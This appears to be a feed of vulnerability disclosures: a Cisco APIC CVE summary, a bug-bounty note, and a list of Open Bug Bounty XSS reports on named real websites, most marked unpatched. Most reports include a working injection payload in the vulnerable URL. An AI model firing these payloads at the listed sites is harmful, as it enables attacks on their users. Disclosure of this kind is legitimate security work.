CVE-2017-6767

A vulnerability in Cisco Application Policy Infrastructure Controller APIC could allow an authenticated, remote attacker to gain higher privileges than the account is assigned. The attacker will be granted the privileges of the last user to log in, regardless of whether those privileges are highe...

Legal Robot: first name and last name restrictions bypass

A security researcher discovered that the maximum lengths of the first name and last name fields were set to 32 characters at registration and 50 characters when using the profile update form. There was no security impact and no sensitive data was compromised. Thanks to @flashdisk for pointing ou...

lncrnadb.org XSS vulnerability

Vulnerable URL: http://lncrnadb.org/search/?q=%22%3E%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%2FXSSPOSED%2F%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 602664 VIP websit...

zoocentrum.cz XSS vulnerability

Vulnerable URL: https://www.zoocentrum.cz/vyhledavani/?hledany-vyraz=nutrilove Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 1184801 VIP website status:| No Check zoocentrum.cz SS...

leboard.ru XSS vulnerability

Vulnerable URL: https://leboard.ru/mx?search=1%22--!%3E%3CSvg/OnLoad=confirm/OPENBUGBOUNTY/%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 14.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 48108 VIP website status:| Yes Chec...

gjproperties.com XSS vulnerability

Vulnerable URL: http://www.gjproperties.com/%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 15418813 VIP website status:| No...

elib-a.ucl.ac.uk XSS vulnerability

Vulnerable URL: http://elib-a.ucl.ac.uk//browse-list.php?country=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 04.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

arhivach.org XSS vulnerability

Vulnerable URL: https://arhivach.org/add/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 02.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16022 VIP website status:| Yes Coordinated Disclosure Timeline: Description| Value ---|---...

liveon7thstreet.com XSS vulnerability

Vulnerable URL: http://www.liveon7thstreet.com/%3Cimg%20src=x%20onerror=alert'openbugbounty'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website...

gardencity-fonthill.com XSS vulnerability

Vulnerable URL: http://www.gardencity-fonthill.com/%3Cimg%20src=x%20onerror=alert'openbugbounty'%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 05.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

praktiker.hu XSS vulnerability

Vulnerable URL: https://www.praktiker.hu/search/index?keyword=1%27-confirm/OPENBUGBOUNTY/-%27 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.11.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 52152 VIP website status:| No Check...

in.sgames.org XSS vulnerability

Vulnerable URL: http://in.sgames.org/?q=1%3C!%27/!%22/!%27/%22/--!%3E%3CInput/Type=Text%20AutoFocus%20/;%20OnFocus=confirm/OPENBUGBOUNTY/%20//%3E%3CSvg%3E%3E%3CSvg%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.10.2017 Vulnerability type:| XSS Vulnerability...

drachen.xhodon.de XSS vulnerability

Vulnerable URL: https://drachen.xhodon.de/index.php?site=registration= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

federaciobalearespeleologia.org XSS vulnerability

Vulnerable URL: http://www.federaciobalearespeleologia.org/buscartrobat.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 19944258 VIP website status:| No Check...

packageinspiration.com XSS vulnerability

Vulnerable URL: http://www.packageinspiration.com/platform-t.html/!prettyPhoto/2,%3Ca%20onclick=%22alert%27OPENBUGBOUNTY%27;%22%3E/ Details: Description| Value ---|--- Patched:| Verification in progress Latest check for patch:| 25.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

swpp.gkpge.pl XSS vulnerability

Vulnerable URL: https://swpp.gkpge.pl/servlet/HomeServlet?MPaction=noticeListsortOrder=" Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:...

apexspe.com XSS vulnerability

Vulnerable URL: http://apexspe.com/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:|...

marathonforadoption.com XSS vulnerability

Vulnerable URL: http://marathonforadoption.com/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP...

partygent.be XSS vulnerability

Vulnerable URL: http://partygent.be/?s=%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 16090714 VIP website status:| No Check...

ebok.energa.pl XSS vulnerability

Vulnerable URL: https://ebok.energa.pl/login.php Details: Description| Value ---|--- Patched:| No Latest check for patch:| 23.10.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check ebok.energa.pl SSL connection...